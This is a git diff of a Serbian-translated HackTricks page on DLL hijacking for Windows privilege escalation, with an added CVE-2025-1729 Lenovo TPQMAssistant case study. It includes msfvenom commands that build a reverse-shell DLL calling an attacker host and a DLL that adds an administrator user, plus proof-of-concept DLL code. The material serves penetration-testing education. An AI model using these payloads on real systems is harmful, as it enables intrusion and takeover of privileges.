mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
9adfe6eb91
commit
0e48b9c88c
@ -5,7 +5,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda hijackinga ostaje dosledna kroz ciljeve.
|
||||
DLL Hijacking uključuje manipulaciju pouzdane aplikacije da učita zlonamerni DLL. Ovaj termin obuhvata nekoliko taktika kao što su **DLL Spoofing, Injection, i Side-Loading**. Uglavnom se koristi za izvršavanje koda, postizanje postojanosti i, ređe, eskalaciju privilegija. Iako je fokus ovde na eskalaciji, metoda otmice ostaje dosledna kroz ciljeve.
|
||||
|
||||
### Common Techniques
|
||||
|
||||
@ -35,15 +35,15 @@ Ako tražite **nedostajući dll unutar specifične izvršne datoteke**, trebali
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom **mestu gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se **originalni dll** nalazi (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu.
|
||||
Da bismo eskalirali privilegije, najbolja šansa koju imamo je da možemo **napisati dll koji će privilegovani proces pokušati da učita** na nekom od **mesta gde će biti pretraživan**. Stoga, moći ćemo da **napišemo** dll u **folderu** gde se **dll pretražuje pre** foldera gde se **originalni dll** nalazi (čudan slučaj), ili ćemo moći da **pišemo u neki folder gde će se dll pretraživati** i originalni **dll ne postoji** u bilo kom folderu.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**Unutar** [**Microsoft dokumentacije**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **možete pronaći kako se DLL-ovi učitavaju specifično.**
|
||||
|
||||
**Windows aplikacije** traže DLL-ove prateći set **predefinisanih pretraživačkih putanja**, pridržavajući se određenog reda. Problem DLL hijacking-a nastaje kada se štetan DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva.
|
||||
**Windows aplikacije** traže DLL-ove prateći set **predefinisanih pretraživačkih putanja**, pridržavajući se određenog redosleda. Problem DLL hijacking-a nastaje kada se štetan DLL strateški postavi u jedan od ovih direktorijuma, osiguravajući da se učita pre autentičnog DLL-a. Rešenje za sprečavanje ovoga je osigurati da aplikacija koristi apsolutne putanje kada se poziva na DLL-ove koje zahteva.
|
||||
|
||||
Možete videti **DLL pretraživački redosled na 32-bitnim** sistemima u nastavku:
|
||||
Možete videti **DLL pretraživački redosled na 32-bitnim** sistemima ispod:
|
||||
|
||||
1. Direktorijum iz kojeg je aplikacija učitana.
|
||||
2. Sistem direktorijum. Koristite [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) funkciju da dobijete putanju ovog direktorijuma.(_C:\Windows\System32_)
|
||||
@ -57,16 +57,16 @@ To je **podrazumevani** pretraživački redosled sa **SafeDllSearchMode** omogu
|
||||
|
||||
Ako se [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) funkcija pozove sa **LOAD_WITH_ALTERED_SEARCH_PATH**, pretraga počinje u direktorijumu izvršnog modula koji **LoadLibraryEx** učitava.
|
||||
|
||||
Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su učitane po imenu).
|
||||
Na kraju, imajte na umu da **dll može biti učitan ukazujući apsolutnu putanju umesto samo imena**. U tom slučaju, taj dll će se **samo pretraživati u toj putanji** (ako dll ima bilo kakve zavisnosti, one će se pretraživati kao da su samo učitane po imenu).
|
||||
|
||||
Postoje i drugi načini da se promene načini pretraživanja, ali ih ovde neću objašnjavati.
|
||||
Postoje i drugi načini za promenu načina pretraživačkog redosleda, ali ih neću objašnjavati ovde.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Određene izuzetke od standardnog DLL pretraživačkog reda beleže Windows dokumenti:
|
||||
Određene izuzetke od standardnog DLL pretraživačkog redosleda beleži Windows dokumentacija:
|
||||
|
||||
- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru za preusmeravanje i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**.
|
||||
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim od njegovih zavisnih DLL-ova, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
|
||||
- Kada se naiđe na **DLL koji deli svoje ime sa jednim već učitanim u memoriji**, sistem zaobilazi uobičajenu pretragu. Umesto toga, vrši proveru preusmeravanja i manifest pre nego što se vrati na DLL već u memoriji. **U ovom scenariju, sistem ne sprovodi pretragu za DLL**.
|
||||
- U slučajevima kada je DLL prepoznat kao **poznati DLL** za trenutnu verziju Windows-a, sistem će koristiti svoju verziju poznatog DLL-a, zajedno sa bilo kojim njegovim zavisnim DLL-ovima, **preskočivši proces pretrage**. Registry ključ **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** sadrži listu ovih poznatih DLL-ova.
|
||||
- Ako **DLL ima zavisnosti**, pretraga za tim zavisnim DLL-ovima se sprovodi kao da su označeni samo svojim **imenima modula**, bez obzira na to da li je inicijalni DLL identifikovan putem pune putanje.
|
||||
|
||||
### Escalating Privileges
|
||||
@ -74,12 +74,12 @@ Određene izuzetke od standardnog DLL pretraživačkog reda beleže Windows doku
|
||||
**Requirements**:
|
||||
|
||||
- Identifikujte proces koji radi ili će raditi pod **različitim privilegijama** (horizontalno ili lateralno kretanje), koji **nema DLL**.
|
||||
- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** **pretraživati**. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje.
|
||||
- Osigurajte da je **pristup za pisanje** dostupan za bilo koji **direktorijum** u kojem će se **DLL** pretraživati. Ova lokacija može biti direktorijum izvršne datoteke ili direktorijum unutar sistemske putanje.
|
||||
|
||||
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (po defaultu ne možete). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\
|
||||
U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** DLL hijacking-a za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje).
|
||||
Da, zahtevi su komplikovani za pronalaženje jer je **po defaultu čudno pronaći privilegovanu izvršnu datoteku bez dll-a** i još je **čudnije imati dozvole za pisanje u folderu sistemske putanje** (to ne možete po defaultu). Ali, u pogrešno konfiguriranim okruženjima ovo je moguće.\
|
||||
U slučaju da imate sreće i ispunjavate zahteve, možete proveriti [UACME](https://github.com/hfiref0x/UACME) projekat. Čak i ako je **glavni cilj projekta zaobilaženje UAC**, možete pronaći **PoC** za Dll hijacking za verziju Windows-a koju možete koristiti (verovatno samo menjajući putanju foldera gde imate dozvole za pisanje).
|
||||
|
||||
Napomena da možete **proveriti svoje dozvole u folderu** radeći:
|
||||
Imajte na umu da možete **proveriti svoje dozvole u folderu** tako što ćete:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
@ -93,7 +93,7 @@ Možete takođe proveriti uvoze izvršne datoteke i izvoze dll-a sa:
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Za potpuni vodič o tome kako da **zloupotrebite Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite:
|
||||
Za potpuni vodič o tome kako **zloupotrebiti Dll Hijacking za eskalaciju privilegija** sa dozvolama za pisanje u **System Path folder**, proverite:
|
||||
|
||||
{{#ref}}
|
||||
writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -102,11 +102,11 @@ writable-sys-path-+dll-hijacking-privesc.md
|
||||
### Automatizovani alati
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) će proveriti da li imate dozvole za pisanje u bilo kom folderu unutar sistemskog PATH-a.\
|
||||
Ostali zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
|
||||
Drugi zanimljivi automatizovani alati za otkrivanje ove ranjivosti su **PowerSploit funkcije**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ i _Write-HijackDll._
|
||||
|
||||
### Primer
|
||||
|
||||
U slučaju da pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili sa [**High Integrity na SYSTEM**](../index.html#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijacking-u fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
U slučaju da pronađete scenario koji se može iskoristiti, jedna od najvažnijih stvari za uspešno iskorišćavanje bi bila da **napravite dll koji izvozi barem sve funkcije koje će izvršni program uvesti iz njega**. U svakom slučaju, imajte na umu da Dll Hijacking dolazi u obzir kako bi se [escaliralo sa Medium Integrity nivoa na High **(zaobilaženje UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ili sa [**High Integrity na SYSTEM**](../index.html#from-high-integrity-to-system)**.** Možete pronaći primer **kako napraviti validan dll** unutar ove studije o dll hijackingu fokusirane na dll hijacking za izvršenje: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove** koji bi mogli biti korisni kao **šabloni** ili za kreiranje **dll-a sa neobaveznim izvezenim funkcijama**.
|
||||
|
||||
## **Kreiranje i kompajliranje Dll-ova**
|
||||
@ -115,7 +115,7 @@ Pored toga, u **sledećem odeljku** možete pronaći neke **osnovne dll kodove**
|
||||
|
||||
U suštini, **Dll proxy** je Dll sposoban da **izvrši vaš zlonamerni kod kada se učita**, ali takođe da **izloži** i **radi** kao **očekivano** tako što **preusmerava sve pozive na pravu biblioteku**.
|
||||
|
||||
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxifujete i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**.
|
||||
Sa alatom [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ili [**Spartacus**](https://github.com/Accenture/Spartacus) možete zapravo **naznačiti izvršni program i odabrati biblioteku** koju želite da proxify i **generisati proxified dll** ili **naznačiti Dll** i **generisati proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
@ -131,9 +131,9 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Vaš vlastiti
|
||||
### Vaš
|
||||
|
||||
Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvesti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako te funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**.
|
||||
Napomena da u nekoliko slučajeva Dll koji kompajlirate mora **izvoziti nekoliko funkcija** koje će biti učitane od strane procesa žrtve, ako ove funkcije ne postoje **binarni fajl neće moći da ih učita** i **eksploit će propasti**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -214,10 +214,48 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Reference
|
||||
## Studija slučaja: CVE-2025-1729 - Eskalacija privilegija korišćenjem TPQMAssistant.exe
|
||||
|
||||
Ovaj slučaj demonstrira **Phantom DLL Hijacking** u Lenovo-ovom TrackPoint Quick Menu (`TPQMAssistant.exe`), praćen kao **CVE-2025-1729**.
|
||||
|
||||
### Detalji o ranjivosti
|
||||
|
||||
- **Komponenta**: `TPQMAssistant.exe` se nalazi na `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Zakazani zadatak**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` se izvršava svakodnevno u 9:30 AM pod kontekstom prijavljenog korisnika.
|
||||
- **Dozvole direktorijuma**: Pisanje je dozvoljeno od strane `CREATOR OWNER`, što omogućava lokalnim korisnicima da postavljaju proizvoljne datoteke.
|
||||
- **Ponašanje pretrage DLL-a**: Pokušava da učita `hostfxr.dll` iz svog radnog direktorijuma prvo i beleži "NAME NOT FOUND" ako nedostaje, što ukazuje na prioritet pretrage lokalnog direktorijuma.
|
||||
|
||||
### Implementacija eksploata
|
||||
|
||||
Napadač može postaviti zlonamerni `hostfxr.dll` stub u isti direktorijum, koristeći nedostajući DLL za postizanje izvršavanja koda pod korisničkim kontekstom:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
|
||||
if (fdwReason == DLL_PROCESS_ATTACH) {
|
||||
// Payload: display a message box (proof-of-concept)
|
||||
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
### Attack Flow
|
||||
|
||||
1. Kao standardni korisnik, postavite `hostfxr.dll` u `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Sačekajte da se zakazani zadatak izvrši u 9:30 ujutro pod kontekstom trenutnog korisnika.
|
||||
3. Ako je administrator prijavljen kada se zadatak izvršava, zlonamerni DLL se pokreće u sesiji administratora sa srednjim integritetom.
|
||||
4. Povežite standardne UAC bypass tehnike da biste se uzdigli sa srednjeg integriteta na SYSTEM privilegije.
|
||||
|
||||
### Mitigation
|
||||
|
||||
Lenovo je objavio UWP verziju **1.12.54.0** putem Microsoft Store-a, koja instalira TPQMAssistant pod `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\`, uklanja ranjivi zakazani zadatak i deinstalira nasleđene Win32 komponente.
|
||||
|
||||
## References
|
||||
|
||||
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user